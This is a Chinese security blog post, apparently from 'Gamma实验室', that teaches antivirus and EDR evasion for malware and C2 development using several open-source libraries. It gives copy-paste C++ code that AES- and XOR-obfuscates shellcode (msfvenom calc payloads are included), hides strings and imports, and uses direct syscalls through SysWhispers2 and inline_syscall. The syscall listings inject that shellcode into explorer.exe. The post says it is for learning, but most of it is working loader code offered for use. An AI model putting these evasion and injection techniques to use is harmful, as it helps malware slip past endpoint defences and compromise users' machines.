Skip to content

Latest commit

 

History

History
242 lines (124 loc) · 16.3 KB

[Gamma实验室]-2022-9-23-免杀必会- 规避杀软的库.md

File metadata and controls

242 lines (124 loc) · 16.3 KB

免杀必会- 规避杀软的库

原创 Gamma最强突破手 Gamma实验室

Gamma实验室

微信号 HackerLearning

功能介绍 Gamma实验室是专注于网络安全攻防研究的实验室,不定时向外输出技术文章以及自主研发安全工具,技术输出不限于:渗透,内网,红队,免杀,病毒分析,逆向,ctfwp等,实验室只用于技术研究,一切违法犯罪与实验室无关!


__发表于

收录于合集

点击上方“蓝字”,关注更多精彩

前言

在编写恶意软件时,我们时常会用到系统的一些库,库的使用是非常简单,好用的,只需要导入头文件,那么就可以使用相应的api或函数,但是如果用于免杀或者c2,但是在EDR和终端软件横行的现在,不太“好”,下面将是我们在做免杀时或自己开发c2时常用的一些库,有现成调用代码,复制粘贴即可使用。

加密库

做免杀时或自己开发c2时,加密话题是永远离不开的,无论是代码加密,流量加密,或者是内存加密,都是十分重要的,且必须的环节,windows 中也有许多和加密有关的库,但是比较常用的和加密效果比较好的,那么就是AES加密,在windows中实现AES最省事代码量最小的的办法就是使用https://github.com/kokke/tiny- AES-c 这个库,导入简单,调用APi也十分简单。

要使用这个库,只需将以下头文件和源文件添加到您的项目中。

  • AES.hpp

  • aes.h

  • aes.c

添加好直接使用就行,如下:


#include <Windows.h>#include <stdio.h>#include "lib/aes.hpp"  
int main(){  unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";  SIZE_T shellcodeSize = sizeof(shellcode);  unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";  unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";  struct AES_ctx ctx;  AES_init_ctx_iv(&ctx, key, iv);  AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);    #相应的解谜的话,只需使用该AES_CBC_decrypt_buffer()函数。  printf("Encrypted buffer:\n");  for (int i = 0; i < shellcodeSize - 1; i++) {    printf("\\x%02x", shellcode[i]);  }  printf("\n");}

这种可以用来,加密内存,加密shellcode,加密文件什么的,都是十分好用的。

隐藏api 库

从恶意软件分析来讲,杀软静态分析会提取exe文件中的字符串来进行恶意行为比对统计,进行阈值估算,如果一个exe中,高危字符串太多了,比如VirtualAllocEx,WriteProcessMemory,CreateRemoteThread等,超过了阈值,那么很有可能都过不了杀软的静态分析,所以在恶意软件中,常常会加密字符串,这是比较低层次的规避。

那么比较好用的就是skCrypter,github地址:https://github.com/skadro-official/skCrypter ,他的定位为:编译时,用户模式 + 内核模式,用于 C++11+ 的安全且轻量级的字符串加密器库。

使用也十分简单,要使用它,只需导入头文件skCrypter.h并将要混淆的字符串放在skCrypt()函数中,以下为实例:


#include <Windows.h>#include <stdio.h>#include "lib/skCrypter.h"  
int main(){  typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);  pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA(skCrypt("ntdll.dll")), skCrypt("NtDelayExecution"));  int msDelaynumber = 10000;  LARGE_INTEGER  delayInterval;  delayInterval.QuadPart = -10000 * msDelaynumber;  NtDelayExecution(FALSE, &delayInterval);  printf("Done!\n");}

现在的杀软来说,加密字符串是远远不够了,熟悉pe文件结构的都知道,我们程序用到的函数,API地址基本上都会在 地址表 (IAT) 中,杀软也知道,所以都会去读取二进制文件的 IAT 并检查是否存在导入/使用的危险/恶意功能,那么我们如何规避勒?

我们可以用lazy importer 库,github地址:https://github.com/JustasMasiulis/lazy_importer

使用巨简单,导入头文件lazy_importer.hpp并调用LI_FN()函数,以下,隐藏CreateProcessW api


#include <Windows.h>#include "lib/lazy_importer.hpp"  
int main(){  
    PROCESS_INFORMATION pi;    STARTUPINFO si = { sizeof(si) };    #CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);    #注意:NULL将值更改为nullptr否则会出现编译错误。    LI_FN(CreateProcessW)(L"C:\\Windows\\System32\\notepad.exe", nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);  
    WaitForSingleObject(pi.hProcess, INFINITE);        CloseHandle(pi.hProcess);    CloseHandle(pi.hThread);}  

这种终归指标不治本,因为现在杀软的hook技术很成熟了,这种级别的规避是不够看的,所以现在常用的就是系统调用来替换我们常用的系统api。

github地址:https://github.com/jthuraisamy/SysWhispers2

之前我有一篇文章:手把手教你使用系统调用,也是讲的这个,那个比较详细,所以这里不细讲。

使用步骤如下:

先生成头文件,asm文件

python3 syswhispers.py -f NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtClose -o syscalls
  1. 将生成的 H/C/ASM 文件复制到项目文件夹中。

  2. 在 Visual Studio 中,转到 Project → Build Customizations... 并启用 MASM。

  3. 在解决方案资源管理器中,将 .h 和 .c/.asm 文件分别作为头文件和源文件添加到项目中。

  4. 转到 ASM 文件的属性,并将 Item Type 设置为 Microsoft Macro Assembler。

  5. 确保项目平台设置为 x64,目前不支持 32 位项目。

  6. 现在可以使用Nt* 函数,例如:


#include <Windows.h>#include "lib/syscalls.h"  
int main(int argc, char* argv[]){  // PID of explorer.exe  DWORD pid = 11256;  
  // msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c   unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";  SIZE_T shellcodeSize = sizeof(shellcode);  
  HANDLE hProcess;  OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };  CLIENT_ID clientId = { (HANDLE)pid, NULL };  NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);  
  LPVOID baseAddress = NULL;  NtAllocateVirtualMemory(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  
  NtWriteVirtualMemory(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);  
  HANDLE hThread;  NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);  
  NtClose(hProcess);  NtClose(hThread);  
  return 0;}

但是现在SysWhispers2 已经被杀软标记了,但是杀软标记也十分有限的,改改还是能过的。

SysWhispers2不行的话还有另一个库inline_syscall,相对免杀效果比较好,因为热度不是SysWhispers2那么高。

本质的话,还是通过优化、可内联且易于使用的方式生成直接系统调用指令的库,使用如下:

1.先导入头文件

  • in_memory_init.hpp

  • inline_syscall.hpp

  • inline_syscall.inl

2.jm::init_syscalls_list()然后在使用INLINE_SYSCALL(function_pointer)INLINE_SYSCALL_T(function_type)宏之前调用初始化函数


// If you already initialized, inline_syscall.hpp contains all you need.#include "inline_syscall/include/in_memory_init.hpp"  
// Needs to be called once at startup before INLINE_SYSCALL is used.jm::init_syscalls_list();  
// Usage of the main macro INLINE_SYSCALLvoid* allocation = nullptr;SIZE_T size      = 0x1000;NTSTATUS status  = INLINE_SYSCALL(NtAllocateVirtualMemory)((HANDLE)-1, &allocation, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

如果使用vs,那么需要把平台工具集改成LLVM (clang-cl)

示例代码:


#include <Windows.h>#include "lib/in_memory_init.hpp"  
typedef struct _UNICODE_STRING{  USHORT Length;  USHORT MaximumLength;  PWSTR  Buffer;} UNICODE_STRING, * PUNICODE_STRING;  
typedef struct _OBJECT_ATTRIBUTES{  ULONG           Length;  HANDLE          RootDirectory;  PUNICODE_STRING ObjectName;  ULONG           Attributes;  PVOID           SecurityDescriptor;  PVOID           SecurityQualityOfService;} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;  
typedef struct _CLIENT_ID{  HANDLE UniqueProcess;  HANDLE UniqueThread;} CLIENT_ID, * PCLIENT_ID;  
typedef struct _PS_ATTRIBUTE{  ULONG  Attribute;  SIZE_T Size;  union  {    ULONG Value;    PVOID ValuePtr;  } u1;  PSIZE_T ReturnLength;} PS_ATTRIBUTE, * PPS_ATTRIBUTE;  
typedef struct _PS_ATTRIBUTE_LIST{  SIZE_T       TotalLength;  PS_ATTRIBUTE Attributes[1];} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;  
NTSTATUS NtOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);  
NTSTATUS NtAllocateVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect);  
NTSTATUS NtWriteVirtualMemory(IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL);  
NTSTATUS NtCreateThreadEx(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);  
NTSTATUS NtClose(IN HANDLE Handle);  
int main(int argc, char* argv[]){  jm::init_syscalls_list();  
  // PID of explorer.exe  DWORD pid = 4396;  unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";  SIZE_T shellcodeSize = sizeof(shellcode);  char key = '`';  for (int i = 0; i < sizeof(shellcode) - 1; i++) {    shellcode[i] = shellcode[i] ^ key;  }  
  HANDLE hProcess;  OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };  CLIENT_ID clientId = { (HANDLE)pid, NULL };  #这里使用了远程注入shellcode,并执行的方法  INLINE_SYSCALL(NtOpenProcess)(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);  
  LPVOID baseAddress = NULL;  INLINE_SYSCALL(NtAllocateVirtualMemory)(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  
  INLINE_SYSCALL(NtWriteVirtualMemory)(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);    HANDLE hThread;  INLINE_SYSCALL(NtCreateThreadEx)(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);  INLINE_SYSCALL(NtClose)(hProcess);  INLINE_SYSCALL(NtClose)(hThread);  return 0;}

这种使用比SysWhispers2更为方便,效果更好。

总结

免杀是多种规避的技术总和!

END

看完记得点赞,关注哟,爱您!

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!
在看你就赞赞我! 扫码关注我们

扫码领hacker资料,常用工具,以及各种福利

转载是一种动力 分享是一种美德

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看